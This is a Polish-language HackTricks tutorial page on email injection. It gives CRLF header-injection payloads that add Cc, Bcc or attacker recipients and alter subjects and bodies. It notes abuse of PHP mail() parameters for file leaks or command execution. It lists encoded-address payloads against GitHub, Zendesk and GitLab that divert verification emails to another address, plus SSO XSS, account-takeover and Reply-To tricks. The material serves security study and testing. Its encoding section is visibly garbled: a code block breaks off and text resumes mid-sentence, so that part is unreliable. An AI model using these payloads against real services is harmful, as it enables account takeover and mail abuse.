# Email Injections
\ Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ Uzyskaj dostęp już dziś: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %} {% hint style="success" %} Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %} ## Wstrzykiwanie w wysłanym e-mailu ### Wstrzykiwanie Cc i Bcc po argumencie nadawcy ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` Wiadomość zostanie wysłana na konta odbiorcy i odbiorcy1. ### Inject argument ``` From:sender@domain.com%0ATo:attacker@domain.com ``` Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego. ### Wstrzyknij argument Temat ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej. ### Zmień treść wiadomości Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### Wykorzystanie funkcji mail() w PHP ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### 5. parametr ($additional\_parameters) Ta sekcja będzie oparta na **tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje**. Ten parametr zostanie dodany do linii poleceń, którą PHP będzie używać do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji `escapeshellcmd($additional_parameters)`. Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku. #### Różnice w implementacji /usr/sbin/sendmail Interfejs **sendmail** jest **dostarczany przez oprogramowanie MTA email** (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż **podstawowa funkcjonalność** (taka jak parametry -t -i -f) pozostaje **taka sama** z powodów zgodności, **inne funkcje i parametry** znacznie się różnią w zależności od zainstalowanego MTA. Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje, aby je nadużyć i **wyciekować pliki lub nawet wykonywać dowolne polecenia**. Sprawdź jak w [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Wstrzykiwanie w nazwę e-mail {% hint style="danger" %} Zauważ, że jeśli uda ci się założyć konto w usłudze z dowolną nazwą domeny (taką jak Github, Gitlab, CloudFlare Zero trust...) i zweryfikować je, otrzymując e-mail weryfikacyjny na swój adres e-mail, możesz uzyskać dostęp do wrażliwych lokalizacji firmy ofiary. {% endhint %} ### Ignorowane części e-maila Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mail. * Np. john.doe+intigriti@example.com → john.doe@example.com **Komentarze w nawiasach ()** na początku lub na końcu również będą ignorowane. * Np. john.doe(intigriti)@example.com → john.doe@example.com ### Ominięcie białej listy
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Cytaty
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### IP Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] ### Kodowanie e-maili Jak wyjaśniono w [**tych badaniach**](https://portswigger.net/research/splitting-the-email-atom), nazwy e-maili mogą również zawierać zakodowane znaki: * **PHP 256 overflow**: Funkcja PHP `chr` będzie nadal dodawać 256 do znaku, aż stanie się dodatnia, a następnie wykona operację `%256`. * `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` {% hint style="success" %} Celem tego triku jest zakończenie wstrzyknięciem takim jak `RCPT TO:<"collab@psres.net>collab"@example.com>`\ co spowoduje wysłanie e-maila weryfikacyjnego na inny adres e-mail niż oczekiwany (w ten sposób wprowadza się inny adres e-mail wewnątrz nazwy e-mail i łamie składnię podczas wysyłania e-maila). {% endhint %} Różne kodowania: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com # =? -> Start of encode # utf-8 -> encoding used # ? -> separator # q -> type of encoding # ? -> separator # =41=42=43 -> Hex encoded data # ?= end of encoding # Other encodings, same example: # iso-8859-1 =?iso-8859-1?q?=61=62=63?=hi@example.com # utf-8 =?utf-8?q?=61=62=63?=hi@example.com # utf-7 =?utf-7?q??=hi@example.com # q encoding + utf-7 =?utf-7?q?&=41?=hi@example.com # base64 =?utf-8?b?QUJD?=hi@example.com # bas64 + utf-7 =?utf-7?q??=hi@example.com #punycode x@xn--svg/-9x6 → x@` jako `=3e` i null jako `=00` * Wyśle wiadomość weryfikacyjną na `collab@psres.net` * Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` * Ta sama sztuczka co wcześniej, ale dodając zwykły cudzysłów na początku i zakodowany cudzysłów `=22` przed zakodowanym `@`, a następnie otwierając i zamykając cudzysłowy przed następnym adresem e-mail, aby naprawić składnię używaną wewnętrznie przez Zendesk * Wyśle wiadomość weryfikacyjną na `collab@psres.net` * Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` * Zauważ użycie podkreślenia jako spacji do oddzielenia adresu * Wyśle wiadomość weryfikacyjną na `collab@psres.net` * Punycode: Używając Punycode, możliwe było wstrzyknięcie tagu `) ## SSO zewnętrznych ### XSS Niektóre usługi, takie jak **github** lub **salesforce**, pozwalają na stworzenie **adresu e-mail z ładunkami XSS**. Jeśli możesz **użyć tych dostawców do logowania się do innych usług** i te usługi **nie sanitizują** poprawnie e-maila, możesz spowodować **XSS**. ### Przejęcie konta Jeśli **usługa SSO** pozwala na **utworzenie konta bez weryfikacji podanego adresu e-mail** (jak **salesforce**) i następnie możesz użyć tego konta do **logowania się do innej usługi**, która **ufa** salesforce, możesz uzyskać dostęp do dowolnego konta.\ _Należy zauważyć, że salesforce wskazuje, czy podany e-mail był weryfikowany, ale aplikacja powinna uwzględnić te informacje._ ## Odpowiedź Możesz wysłać e-mail używając _**From: company.com**_ i _**Replay-To: attacker.com**_, a jeśli jakakolwiek **automatyczna odpowiedź** zostanie wysłana z powodu tego, że e-mail został wysłany **z** **wewnętrznego adresu**, **atakujący** może być w stanie **otrzymać** tę **odpowiedź**. ## Wskaźnik twardych odbić Niektóre usługi, takie jak AWS, implementują próg znany jako **Wskaźnik twardych odbić**, zazwyczaj ustawiony na 10%. To krytyczna metryka, szczególnie dla usług dostarczania e-maili. Gdy ten wskaźnik zostanie przekroczony, usługa, taka jak usługa e-mailowa AWS, może zostać zawieszona lub zablokowana. **Twarde odbicie** odnosi się do **e-maila**, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak **e-mail** wysłany na nieistniejący adres, domenę, która nie jest rzeczywista, lub odmowa serwera odbiorcy przyjęcia **e-maili**. W kontekście AWS, jeśli wyślesz 1000 e-maili, a 100 z nich skutkuje twardymi odbiciami (z powodu takich powodów jak nieprawidłowe adresy lub domeny), oznacza to wskaźnik twardych odbić na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service). Ważne jest, aby utrzymać niski wskaźnik twardych odbić, aby zapewnić nieprzerwaną usługę e-mailową i utrzymać reputację nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail w twoich listach mailingowych może znacząco pomóc w osiągnięciu tego celu. Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odbić i skarg [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). ## Odnośniki * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) {% hint style="success" %} Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %}
\ Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ Uzyskaj dostęp już dziś: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}